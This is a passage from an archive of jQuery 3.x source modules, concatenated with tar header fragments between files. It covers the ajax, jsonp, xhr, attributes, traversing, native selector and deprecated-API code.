) { if ( s.crossDomain ) { s.contents.script = false; } } ); // Install script dataType jQuery.ajaxSetup( { accepts: { script: "text/javascript, application/javascript, " + "application/ecmascript, application/x-ecmascript" }, contents: { script: /\b(?:java|ecma)script\b/ }, converters: { "text script": function( text ) { jQuery.globalEval( text ); return text; } } } ); // Handle cache's special case and crossDomain jQuery.ajaxPrefilter( "script", function( s ) { if ( s.cache === undefined ) { s.cache = false; } if ( s.crossDomain ) { s.type = "GET"; } } ); // Bind script tag hack transport jQuery.ajaxTransport( "script", function( s ) { // This transport only deals with cross domain requests if ( s.crossDomain ) { var script, callback; return { send: function( _, complete ) { script = jQuery( "<script>" ).prop( { charset: s.scriptCharset, src: s.url } ).on( "load error", callback = function( evt ) { script.remove(); callback = null; if ( evt ) { complete( evt.type === "error" ? 404 : 200, evt.type ); } } ); // Use native DOM manipulation to avoid our domManip AJAX trickery document.head.appendChild( script[ 0 ] ); }, abort: function() { if ( callback ) { callback(); } } }; } } ); } ); ajax/var/location.js000064400000000110151677373670010443 0ustar00define( function() { "use strict"; return window.location; } ); ajax/var/rquery.js000064400000000101151677373670010162 0ustar00define( function() { "use strict"; return ( /\?/ ); } ); ajax/var/nonce.js000064400000000103151677373670007737 0ustar00define( function() { "use strict"; return Date.now(); } ); ajax/load.js000064400000003675151677373670007005 0ustar00define( [ "../core", "../core/stripAndCollapse", "../var/isFunction", "../core/parseHTML", "../ajax", "../traversing", "../manipulation", "../selector" ], function( jQuery, stripAndCollapse, isFunction ) { "use strict"; /** * Load a url into a page */ jQuery.fn.load = function( url, params, callback ) { var selector, type, response, self = this, off = url.indexOf( " " ); if ( off > -1 ) { selector = stripAndCollapse( url.slice( off ) ); url = url.slice( 0, off ); } // If it's a function if ( isFunction( params ) ) { // We assume that it's the callback callback = params; params = undefined; // Otherwise, build a param string } else if ( params && typeof params === "object" ) { type = "POST"; } // If we have elements to modify, make the request if ( self.length > 0 ) { jQuery.ajax( { url: url, // If "type" variable is undefined, then "GET" method will be used. // Make value of this field explicit since // user can override it through ajaxSetup method type: type || "GET", dataType: "html", data: params } ).done( function( responseText ) { // Save response for use in complete callback response = arguments; self.html( selector ? // If a selector was specified, locate the right elements in a dummy div // Exclude scripts to avoid IE 'Permission Denied' errors jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) : // Otherwise use the full result responseText ); // If the request succeeds, this function gets "data", "status", "jqXHR" // but they are ignored because response was set above. // If it fails, this function gets "jqXHR", "status", "error" } ).always( callback && function( jqXHR, status ) { self.each( function() { callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] ); } ); } ); } return this; }; } ); ajax/jsonp.js000064400000005443151677373670007212 0ustar00define( [ "../core", "../var/isFunction", "./var/nonce", "./var/rquery", "../ajax" ], function( jQuery, isFunction, nonce, rquery ) { "use strict"; var oldCallbacks = [], rjsonp = /(=)\?(?=&|$)|\?\?/; // Default jsonp settings jQuery.ajaxSetup( { jsonp: "callback", jsonpCallback: function() { var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) ); this[ callback ] = true; return callback; } } ); // Detect, normalize options and install callbacks for jsonp requests jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) { var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ? "url" : typeof s.data === "string" && ( s.contentType || "" ) .indexOf( "application/x-www-form-urlencoded" ) === 0 && rjsonp.test( s.data ) && "data" ); // Handle iff the expected data type is "jsonp" or we have a parameter to set if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) { // Get callback name, remembering preexisting value associated with it callbackName = s.jsonpCallback = isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback; // Insert callback into url or form data if ( jsonProp ) { s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName ); } else if ( s.jsonp !== false ) { s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName; } // Use data converter to retrieve json after script execution s.converters[ "script json" ] = function() { if ( !responseContainer ) { jQuery.error( callbackName + " was not called" ); } return responseContainer[ 0 ]; }; // Force json dataType s.dataTypes[ 0 ] = "json"; // Install callback overwritten = window[ callbackName ]; window[ callbackName ] = function() { responseContainer = arguments; }; // Clean-up function (fires after converters) jqXHR.always( function() { // If previous value didn't exist - remove it if ( overwritten === undefined ) { jQuery( window ).removeProp( callbackName ); // Otherwise restore preexisting value } else { window[ callbackName ] = overwritten; } // Save back as free if ( s[ callbackName ] ) { // Make sure that re-using the options doesn't screw things around s.jsonpCallback = originalSettings.jsonpCallback; // Save the callback name for future use oldCallbacks.push( callbackName ); } // Call if it was a function and we have a response if ( responseContainer && isFunction( overwritten ) ) { overwritten( responseContainer[ 0 ] ); } responseContainer = overwritten = undefined; } ); // Delegate to script return "script"; } } ); } ); ajax/parseXML.js000064400000001115151677373670007544 0ustar00define( [ "../core" ], function( jQuery ) { "use strict"; // Cross-browser xml parsing jQuery.parseXML = function( data ) { var xml; if ( !data || typeof data !== "string" ) { return null; } // Support: IE 9 - 11 only // IE throws on parseFromString with invalid input. try { xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" ); } catch ( e ) { xml = undefined; } if ( !xml || xml.getElementsByTagName( "parsererror" ).length ) { jQuery.error( "Invalid XML: " + data ); } return xml; }; return jQuery.parseXML; } ); ajax/xhr.js000064400000010635151677373670006661 0ustar00define( [ "../core", "../var/support", "../ajax" ], function( jQuery, support ) { "use strict"; jQuery.ajaxSettings.xhr = function() { try { return new window.XMLHttpRequest(); } catch ( e ) {} }; var xhrSuccessStatus = { // File protocol always yields status code 0, assume 200 0: 200, // Support: IE <=9 only // #1450: sometimes IE returns 1223 when it should be 204 1223: 204 }, xhrSupported = jQuery.ajaxSettings.xhr(); support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported ); support.ajax = xhrSupported = !!xhrSupported; jQuery.ajaxTransport( function( options ) { var callback, errorCallback; // Cross domain only allowed if supported through XMLHttpRequest if ( support.cors || xhrSupported && !options.crossDomain ) { return { send: function( headers, complete ) { var i, xhr = options.xhr(); xhr.open( options.type, options.url, options.async, options.username, options.password ); // Apply custom fields if provided if ( options.xhrFields ) { for ( i in options.xhrFields ) { xhr[ i ] = options.xhrFields[ i ]; } } // Override mime type if needed if ( options.mimeType && xhr.overrideMimeType ) { xhr.overrideMimeType( options.mimeType ); } // X-Requested-With header // For cross-domain requests, seeing as conditions for a preflight are // akin to a jigsaw puzzle, we simply never set it to be sure. // (it can always be set on a per-request basis or even using ajaxSetup) // For same-domain requests, won't change header if already provided. if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) { headers[ "X-Requested-With" ] = "XMLHttpRequest"; } // Set headers for ( i in headers ) { xhr.setRequestHeader( i, headers[ i ] ); } // Callback callback = function( type ) { return function() { if ( callback ) { callback = errorCallback = xhr.onload = xhr.onerror = xhr.onabort = xhr.ontimeout = xhr.onreadystatechange = null; if ( type === "abort" ) { xhr.abort(); } else if ( type === "error" ) { // Support: IE <=9 only // On a manual native abort, IE9 throws // errors on any property access that is not readyState if ( typeof xhr.status !== "number" ) { complete( 0, "error" ); } else { complete( // File: protocol always yields status 0; see #8605, #14207 xhr.status, xhr.statusText ); } } else { complete( xhrSuccessStatus[ xhr.status ] || xhr.status, xhr.statusText, // Support: IE <=9 only // IE9 has no XHR2 but throws on binary (trac-11426) // For XHR2 non-text, let the caller handle it (gh-2498) ( xhr.responseType || "text" ) !== "text" || typeof xhr.responseText !== "string" ? { binary: xhr.response } : { text: xhr.responseText }, xhr.getAllResponseHeaders() ); } } }; }; // Listen to events xhr.onload = callback(); errorCallback = xhr.onerror = xhr.ontimeout = callback( "error" ); // Support: IE 9 only // Use onreadystatechange to replace onabort // to handle uncaught aborts if ( xhr.onabort !== undefined ) { xhr.onabort = errorCallback; } else { xhr.onreadystatechange = function() { // Check readyState before timeout as it changes if ( xhr.readyState === 4 ) { // Allow onerror to be called first, // but that will not handle a native abort // Also, save errorCallback to a variable // as xhr.onerror cannot be accessed window.setTimeout( function() { if ( callback ) { errorCallback(); } } ); } }; } // Create the abort callback callback = callback( "abort" ); try { // Do send the request (this may raise an exception) xhr.send( options.hasContent && options.data || null ); } catch ( e ) { // #14683: Only rethrow if this hasn't been notified as an error yet if ( callback ) { throw e; } } }, abort: function() { if ( callback ) { callback(); } } }; } } ); } ); traversing/var/siblings.js000064400000000353151677373670011717 0ustar00define( function() { "use strict"; return function( n, elem ) { var matched = []; for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } } return matched; }; } ); traversing/var/rneedsContext.js000064400000000210151677373670012722 0ustar00define( [ "../../core", "../../selector" ], function( jQuery ) { "use strict"; return jQuery.expr.match.needsContext; } ); traversing/var/dir.js000064400000000611151677373670010660 0ustar00define( [ "../../core" ], function( jQuery ) { "use strict"; return function( elem, dir, until ) { var matched = [], truncate = until !== undefined; while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; }; } ); traversing/findFilter.js000064400000004621151677373670011405 0ustar00define( [ "../core", "../var/indexOf", "../var/isFunction", "./var/rneedsContext", "../selector" ], function( jQuery, indexOf, isFunction, rneedsContext ) { "use strict"; // Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { return !!qualifier.call( elem, i, elem ) !== not; } ); } // Single element if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } ); } // Arraylike of elements (jQuery, arguments, Array) if ( typeof qualifier !== "string" ) { return jQuery.grep( elements, function( elem ) { return ( indexOf.call( qualifier, elem ) > -1 ) !== not; } ); } // Filtered directly for both simple and complex selectors return jQuery.filter( qualifier, elements, not ); } jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ]; if ( not ) { expr = ":not(" + expr + ")"; } if ( elems.length === 1 && elem.nodeType === 1 ) { return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : []; } return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); }; jQuery.fn.extend( { find: function( selector ) { var i, ret, len = this.length, self = this; if ( typeof selector !== "string" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); } ret = this.pushStack( [] ); for ( i = 0; i < len; i++ ) { jQuery.find( selector, self[ i ], ret ); } return len > 1 ? jQuery.uniqueSort( ret ) : ret; }, filter: function( selector ) { return this.pushStack( winnow( this, selector || [], false ) ); }, not: function( selector ) { return this.pushStack( winnow( this, selector || [], true ) ); }, is: function( selector ) { return !!winnow( this, // If this is a positional/relative selector, check membership in the returned set // so $("p:first").is("p:last") won't return true for a doc with two "p". typeof selector === "string" && rneedsContext.test( selector ) ? jQuery( selector ) : selector || [], false ).length; } } ); } ); attributes/support.js000064400000001463151677373670011036 0ustar00define( [ "../var/document", "../var/support" ], function( document, support ) { "use strict"; ( function() { var input = document.createElement( "input" ), select = document.createElement( "select" ), opt = select.appendChild( document.createElement( "option" ) ); input.type = "checkbox"; // Support: Android <=4.3 only // Default value for a checkbox should be "on" support.checkOn = input.value !== ""; // Support: IE <=11 only // Must access selectedIndex to make default options select support.optSelected = opt.selected; // Support: IE <=11 only // An input loses its value after becoming a radio input = document.createElement( "input" ); input.value = "t"; input.type = "radio"; support.radioValue = input.value === "t"; } )(); return support; } ); attributes/attr.js000064400000006524151677373670010277 0ustar00define( [ "../core", "../core/access", "../core/nodeName", "./support", "../var/rnothtmlwhite", "../selector" ], function( jQuery, access, nodeName, support, rnothtmlwhite ) { "use strict"; var boolHook, attrHandle = jQuery.expr.attrHandle; jQuery.fn.extend( { attr: function( name, value ) { return access( this, jQuery.attr, name, value, arguments.length > 1 ); }, removeAttr: function( name ) { return this.each( function() { jQuery.removeAttr( this, name ); } ); } } ); jQuery.extend( { attr: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set attributes on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } // Fallback to prop when attributes are not supported if ( typeof elem.getAttribute === "undefined" ) { return jQuery.prop( elem, name, value ); } // Attribute hooks are determined by the lowercase version // Grab necessary hook if one is defined if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { hooks = jQuery.attrHooks[ name.toLowerCase() ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined ); } if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); return; } if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } elem.setAttribute( name, value + "" ); return value; } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } ret = jQuery.find.attr( elem, name ); // Non-existent attributes return null, we normalize to undefined return ret == null ? undefined : ret; }, attrHooks: { type: { set: function( elem, value ) { if ( !support.radioValue && value === "radio" && nodeName( elem, "input" ) ) { var val = elem.value; elem.setAttribute( "type", value ); if ( val ) { elem.value = val; } return value; } } } }, removeAttr: function( elem, value ) { var name, i = 0, // Attribute names can contain non-HTML whitespace characters // https://html.spec.whatwg.org/multipage/syntax.html#attributes-2 attrNames = value && value.match( rnothtmlwhite ); if ( attrNames && elem.nodeType === 1 ) { while ( ( name = attrNames[ i++ ] ) ) { elem.removeAttribute( name ); } } } } ); // Hooks for boolean attributes boolHook = { set: function( elem, value, name ) { if ( value === false ) { // Remove boolean attributes when set to false jQuery.removeAttr( elem, name ); } else { elem.setAttribute( name, name ); } return name; } }; jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) { var getter = attrHandle[ name ] || jQuery.find.attr; attrHandle[ name ] = function( elem, name, isXML ) { var ret, handle, lowercaseName = name.toLowerCase(); if ( !isXML ) { // Avoid an infinite loop by temporarily removing this function from the getter handle = attrHandle[ lowercaseName ]; attrHandle[ lowercaseName ] = ret; ret = getter( elem, name, isXML ) != null ? lowercaseName : null; attrHandle[ lowercaseName ] = handle; } return ret; }; } ); } ); attributes/val.js000064400000010530151677373670010077 0ustar00define( [ "../core", "../core/stripAndCollapse", "./support", "../core/nodeName", "../var/isFunction", "../core/init" ], function( jQuery, stripAndCollapse, support, nodeName, isFunction ) { "use strict"; var rreturn = /\r/g; jQuery.fn.extend( { val: function( value ) { var hooks, ret, valueIsFunction, elem = this[ 0 ]; if ( !arguments.length ) { if ( elem ) { hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ]; if ( hooks && "get" in hooks && ( ret = hooks.get( elem, "value" ) ) !== undefined ) { return ret; } ret = elem.value; // Handle most common string cases if ( typeof ret === "string" ) { return ret.replace( rreturn, "" ); } // Handle cases where value is null/undef or number return ret == null ? "" : ret; } return; } valueIsFunction = isFunction( value ); return this.each( function( i ) { var val; if ( this.nodeType !== 1 ) { return; } if ( valueIsFunction ) { val = value.call( this, i, jQuery( this ).val() ); } else { val = value; } // Treat null/undefined as ""; convert numbers to string if ( val == null ) { val = ""; } else if ( typeof val === "number" ) { val += ""; } else if ( Array.isArray( val ) ) { val = jQuery.map( val, function( value ) { return value == null ? "" : value + ""; } ); } hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; // If set returns undefined, fall back to normal setting if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) { this.value = val; } } ); } } ); jQuery.extend( { valHooks: { option: { get: function( elem ) { var val = jQuery.find.attr( elem, "value" ); return val != null ? val : // Support: IE <=10 - 11 only // option.text throws exceptions (#14686, #14858) // Strip and collapse whitespace // https://html.spec.whatwg.org/#strip-and-collapse-whitespace stripAndCollapse( jQuery.text( elem ) ); } }, select: { get: function( elem ) { var value, option, i, options = elem.options, index = elem.selectedIndex, one = elem.type === "select-one", values = one ? null : [], max = one ? index + 1 : options.length; if ( index < 0 ) { i = max; } else { i = one ? index : 0; } // Loop through all the selected options for ( ; i < max; i++ ) { option = options[ i ]; // Support: IE <=9 only // IE8-9 doesn't update selected after form reset (#2551) if ( ( option.selected || i === index ) && // Don't return options that are disabled or in a disabled optgroup !option.disabled && ( !option.parentNode.disabled || !nodeName( option.parentNode, "optgroup" ) ) ) { // Get the specific value for the option value = jQuery( option ).val(); // We don't need an array for one selects if ( one ) { return value; } // Multi-Selects return an array values.push( value ); } } return values; }, set: function( elem, value ) { var optionSet, option, options = elem.options, values = jQuery.makeArray( value ), i = options.length; while ( i-- ) { option = options[ i ]; /* eslint-disable no-cond-assign */ if ( option.selected = jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1 ) { optionSet = true; } /* eslint-enable no-cond-assign */ } // Force browsers to behave consistently when non-matching value is set if ( !optionSet ) { elem.selectedIndex = -1; } return values; } } } } ); // Radios and checkboxes getter/setter jQuery.each( [ "radio", "checkbox" ], function() { jQuery.valHooks[ this ] = { set: function( elem, value ) { if ( Array.isArray( value ) ) { return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 ); } } }; if ( !support.checkOn ) { jQuery.valHooks[ this ].get = function( elem ) { return elem.getAttribute( "value" ) === null ? "on" : elem.value; }; } } ); } ); attributes/prop.js000064400000006113151677373670010277 0ustar00define( [ "../core", "../core/access", "./support", "../selector" ], function( jQuery, access, support ) { "use strict"; var rfocusable = /^(?:input|select|textarea|button)$/i, rclickable = /^(?:a|area)$/i; jQuery.fn.extend( { prop: function( name, value ) { return access( this, jQuery.prop, name, value, arguments.length > 1 ); }, removeProp: function( name ) { return this.each( function() { delete this[ jQuery.propFix[ name ] || name ]; } ); } } ); jQuery.extend( { prop: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set properties on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { // Fix name and attach hooks name = jQuery.propFix[ name ] || name; hooks = jQuery.propHooks[ name ]; } if ( value !== undefined ) { if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } return ( elem[ name ] = value ); } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } return elem[ name ]; }, propHooks: { tabIndex: { get: function( elem ) { // Support: IE <=9 - 11 only // elem.tabIndex doesn't always return the // correct value when it hasn't been explicitly set // https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/ // Use proper attribute retrieval(#12072) var tabindex = jQuery.find.attr( elem, "tabindex" ); if ( tabindex ) { return parseInt( tabindex, 10 ); } if ( rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ) { return 0; } return -1; } } }, propFix: { "for": "htmlFor", "class": "className" } } ); // Support: IE <=11 only // Accessing the selectedIndex property // forces the browser to respect setting selected // on the option // The getter ensures a default option is selected // when in an optgroup // eslint rule "no-unused-expressions" is disabled for this code // since it considers such accessions noop if ( !support.optSelected ) { jQuery.propHooks.selected = { get: function( elem ) { /* eslint no-unused-expressions: "off" */ var parent = elem.parentNode; if ( parent && parent.parentNode ) { parent.parentNode.selectedIndex; } return null; }, set: function( elem ) { /* eslint no-unused-expressions: "off" */ var parent = elem.parentNode; if ( parent ) { parent.selectedIndex; if ( parent.parentNode ) { parent.parentNode.selectedIndex; } } } }; } jQuery.each( [ "tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable" ], function() { jQuery.propFix[ this.toLowerCase() ] = this; } ); } ); attributes/classes.js000064400000011031151677373670010747 0ustar00define( [ "../core", "../core/stripAndCollapse", "../var/isFunction", "../var/rnothtmlwhite", "../data/var/dataPriv", "../core/init" ], function( jQuery, stripAndCollapse, isFunction, rnothtmlwhite, dataPriv ) { "use strict"; function getClass( elem ) { return elem.getAttribute && elem.getAttribute( "class" ) || ""; } function classesToArray( value ) { if ( Array.isArray( value ) ) { return value; } if ( typeof value === "string" ) { return value.match( rnothtmlwhite ) || []; } return []; } jQuery.fn.extend( { addClass: function( value ) { var classes, elem, cur, curValue, clazz, j, finalValue, i = 0; if ( isFunction( value ) ) { return this.each( function( j ) { jQuery( this ).addClass( value.call( this, j, getClass( this ) ) ); } ); } classes = classesToArray( value ); if ( classes.length ) { while ( ( elem = this[ i++ ] ) ) { curValue = getClass( elem ); cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); if ( cur ) { j = 0; while ( ( clazz = classes[ j++ ] ) ) { if ( cur.indexOf( " " + clazz + " " ) < 0 ) { cur += clazz + " "; } } // Only assign if different to avoid unneeded rendering. finalValue = stripAndCollapse( cur ); if ( curValue !== finalValue ) { elem.setAttribute( "class", finalValue ); } } } } return this; }, removeClass: function( value ) { var classes, elem, cur, curValue, clazz, j, finalValue, i = 0; if ( isFunction( value ) ) { return this.each( function( j ) { jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) ); } ); } if ( !arguments.length ) { return this.attr( "class", "" ); } classes = classesToArray( value ); if ( classes.length ) { while ( ( elem = this[ i++ ] ) ) { curValue = getClass( elem ); // This expression is here for better compressibility (see addClass) cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); if ( cur ) { j = 0; while ( ( clazz = classes[ j++ ] ) ) { // Remove *all* instances while ( cur.indexOf( " " + clazz + " " ) > -1 ) { cur = cur.replace( " " + clazz + " ", " " ); } } // Only assign if different to avoid unneeded rendering. finalValue = stripAndCollapse( cur ); if ( curValue !== finalValue ) { elem.setAttribute( "class", finalValue ); } } } } return this; }, toggleClass: function( value, stateVal ) { var type = typeof value, isValidValue = type === "string" || Array.isArray( value ); if ( typeof stateVal === "boolean" && isValidValue ) { return stateVal ? this.addClass( value ) : this.removeClass( value ); } if ( isFunction( value ) ) { return this.each( function( i ) { jQuery( this ).toggleClass( value.call( this, i, getClass( this ), stateVal ), stateVal ); } ); } return this.each( function() { var className, i, self, classNames; if ( isValidValue ) { // Toggle individual class names i = 0; self = jQuery( this ); classNames = classesToArray( value ); while ( ( className = classNames[ i++ ] ) ) { // Check each className given, space separated list if ( self.hasClass( className ) ) { self.removeClass( className ); } else { self.addClass( className ); } } // Toggle whole class name } else if ( value === undefined || type === "boolean" ) { className = getClass( this ); if ( className ) { // Store className if set dataPriv.set( this, "__className__", className ); } // If the element has a class name or if we're passed `false`, // then remove the whole classname (if there was one, the above saved it). // Otherwise bring back whatever was previously saved (if anything), // falling back to the empty string if nothing was stored. if ( this.setAttribute ) { this.setAttribute( "class", className || value === false ? "" : dataPriv.get( this, "__className__" ) || "" ); } } } ); }, hasClass: function( selector ) { var className, elem, i = 0; className = " " + selector + " "; while ( ( elem = this[ i++ ] ) ) { if ( elem.nodeType === 1 && ( " " + stripAndCollapse( getClass( elem ) ) + " " ).indexOf( className ) > -1 ) { return true; } } return false; } } ); } ); .eslintrc.json000064400000000101151677373670007356 0ustar00{ "root": true, "extends": "../.eslintrc-browser.json" } selector-native.js000064400000014747151677373670010251 0ustar00define( [ "./core", "./var/document", "./var/documentElement", "./var/hasOwn", "./var/indexOf" ], function( jQuery, document, documentElement, hasOwn, indexOf ) { "use strict"; /* * Optional (non-Sizzle) selector module for custom builds. * * Note that this DOES NOT SUPPORT many documented jQuery * features in exchange for its smaller size: * * Attribute not equal selector * Positional selectors (:first; :eq(n); :odd; etc.) * Type selectors (:input; :checkbox; :button; etc.) * State-based selectors (:animated; :visible; :hidden; etc.) * :has(selector) * :not(complex selector) * custom selectors via Sizzle extensions * Leading combinators (e.g., $collection.find("> *")) * Reliable functionality on XML fragments * Requiring all parts of a selector to match elements under context * (e.g., $div.find("div > *") now matches children of $div) * Matching against non-elements * Reliable sorting of disconnected nodes * querySelectorAll bug fixes (e.g., unreliable :focus on WebKit) * * If any of these are unacceptable tradeoffs, either use Sizzle or * customize this stub for the project's specific needs. */ var hasDuplicate, sortInput, sortStable = jQuery.expando.split( "" ).sort( sortOrder ).join( "" ) === jQuery.expando, matches = documentElement.matches || documentElement.webkitMatchesSelector || documentElement.mozMatchesSelector || documentElement.oMatchesSelector || documentElement.msMatchesSelector, // CSS string/identifier serialization // https://drafts.csswg.org/cssom/#common-serializing-idioms rcssescape = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g, fcssescape = function( ch, asCodePoint ) { if ( asCodePoint ) { // U+0000 NULL becomes U+FFFD REPLACEMENT CHARACTER if ( ch === "\0" ) { return "\uFFFD"; } // Control characters and (dependent upon position) numbers get escaped as code points return ch.slice( 0, -1 ) + "\\" + ch.charCodeAt( ch.length - 1 ).toString( 16 ) + " "; } // Other potentially-special ASCII characters get backslash-escaped return "\\" + ch; }; function sortOrder( a, b ) { // Flag for duplicate removal if ( a === b ) { hasDuplicate = true; return 0; } // Sort on method existence if only one input has compareDocumentPosition var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; if ( compare ) { return compare; } // Calculate position if both inputs belong to the same document compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ? a.compareDocumentPosition( b ) : // Otherwise we know they are disconnected 1; // Disconnected nodes if ( compare & 1 ) { // Choose the first element that is related to our preferred document if ( a === document || a.ownerDocument === document && jQuery.contains( document, a ) ) { return -1; } if ( b === document || b.ownerDocument === document && jQuery.contains( document, b ) ) { return 1; } // Maintain original order return sortInput ? ( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) : 0; } return compare & 4 ? -1 : 1; } function uniqueSort( results ) { var elem, duplicates = [], j = 0, i = 0; hasDuplicate = false; sortInput = !sortStable && results.slice( 0 ); results.sort( sortOrder ); if ( hasDuplicate ) { while ( ( elem = results[ i++ ] ) ) { if ( elem === results[ i ] ) { j = duplicates.push( i ); } } while ( j-- ) { results.splice( duplicates[ j ], 1 ); } } // Clear input after sorting to release objects // See https://github.com/jquery/sizzle/pull/225 sortInput = null; return results; } function escape( sel ) { return ( sel + "" ).replace( rcssescape, fcssescape ); } jQuery.extend( { uniqueSort: uniqueSort, unique: uniqueSort, escapeSelector: escape, find: function( selector, context, results, seed ) { var elem, nodeType, i = 0; results = results || []; context = context || document; // Same basic safeguard as Sizzle if ( !selector || typeof selector !== "string" ) { return results; } // Early return if context is not an element or document if ( ( nodeType = context.nodeType ) !== 1 && nodeType !== 9 ) { return []; } if ( seed ) { while ( ( elem = seed[ i++ ] ) ) { if ( jQuery.find.matchesSelector( elem, selector ) ) { results.push( elem ); } } } else { jQuery.merge( results, context.querySelectorAll( selector ) ); } return results; }, text: function( elem ) { var node, ret = "", i = 0, nodeType = elem.nodeType; if ( !nodeType ) { // If no nodeType, this is expected to be an array while ( ( node = elem[ i++ ] ) ) { // Do not traverse comment nodes ret += jQuery.text( node ); } } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { // Use textContent for elements return elem.textContent; } else if ( nodeType === 3 || nodeType === 4 ) { return elem.nodeValue; } // Do not include comment or processing instruction nodes return ret; }, contains: function( a, b ) { var adown = a.nodeType === 9 ? a.documentElement : a, bup = b && b.parentNode; return a === bup || !!( bup && bup.nodeType === 1 && adown.contains( bup ) ); }, isXMLDoc: function( elem ) { // documentElement is verified for cases where it doesn't yet exist // (such as loading iframes in IE - #4833) var documentElement = elem && ( elem.ownerDocument || elem ).documentElement; return documentElement ? documentElement.nodeName !== "HTML" : false; }, expr: { attrHandle: {}, match: { bool: new RegExp( "^(?:checked|selected|async|autofocus|autoplay|controls|defer" + "|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped)$", "i" ), needsContext: /^[\x20\t\r\n\f]*[>+~]/ } } } ); jQuery.extend( jQuery.find, { matches: function( expr, elements ) { return jQuery.find( expr, null, null, elements ); }, matchesSelector: function( elem, expr ) { return matches.call( elem, expr ); }, attr: function( elem, name ) { var fn = jQuery.expr.attrHandle[ name.toLowerCase() ], // Don't get fooled by Object.prototype properties (jQuery #13807) value = fn && hasOwn.call( jQuery.expr.attrHandle, name.toLowerCase() ) ? fn( elem, name, jQuery.isXMLDoc( elem ) ) : undefined; return value !== undefined ? value : elem.getAttribute( name ); } } ); } ); deprecated.js000064400000005005151677373670007230 0ustar00define( [ "./core", "./core/nodeName", "./core/camelCase", "./core/toType", "./var/isFunction", "./var/isWindow", "./var/slice", "./event/alias" ], function( jQuery, nodeName, camelCase, toType, isFunction, isWindow, slice ) { "use strict"; jQuery.fn.extend( { bind: function( types, data, fn ) { return this.on( types, null, data, fn ); }, unbind: function( types, fn ) { return this.off( types, null, fn ); }, delegate: function( selector, types, data, fn ) { return this.on( types, selector, data, fn ); }, undelegate: function( selector, types, fn ) { // ( namespace ) or ( selector, types [, fn] ) return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn ); } } ); // Bind a function to a context, optionally partially applying any // arguments. // jQuery.proxy is deprecated to promote standards (specifically Function#bind) // However, it is not slated for removal any time soon jQuery.proxy = function( fn, context ) { var tmp, args, proxy; if ( typeof context === "string" ) { tmp = fn[ context ]; context = fn; fn = tmp; } // Quick check to determine if target is callable, in the spec // this throws a TypeError, but we will just return undefined. if ( !isFunction( fn ) ) { return undefined; } // Simulated bind args = slice.call( arguments, 2 ); proxy = function() { return fn.apply( context || this, args.concat( slice.call( arguments ) ) ); }; // Set the guid of unique handler to the same of original handler, so it can be removed proxy.guid = fn.guid = fn.guid || jQuery.guid++; return proxy; }; jQuery.holdReady = function( hold ) { if ( hold ) { jQuery.readyWait++; } else { jQuery.ready( true ); } }; jQuery.isArray = Array.isArray; jQuery.parseJSON = JSON.parse; 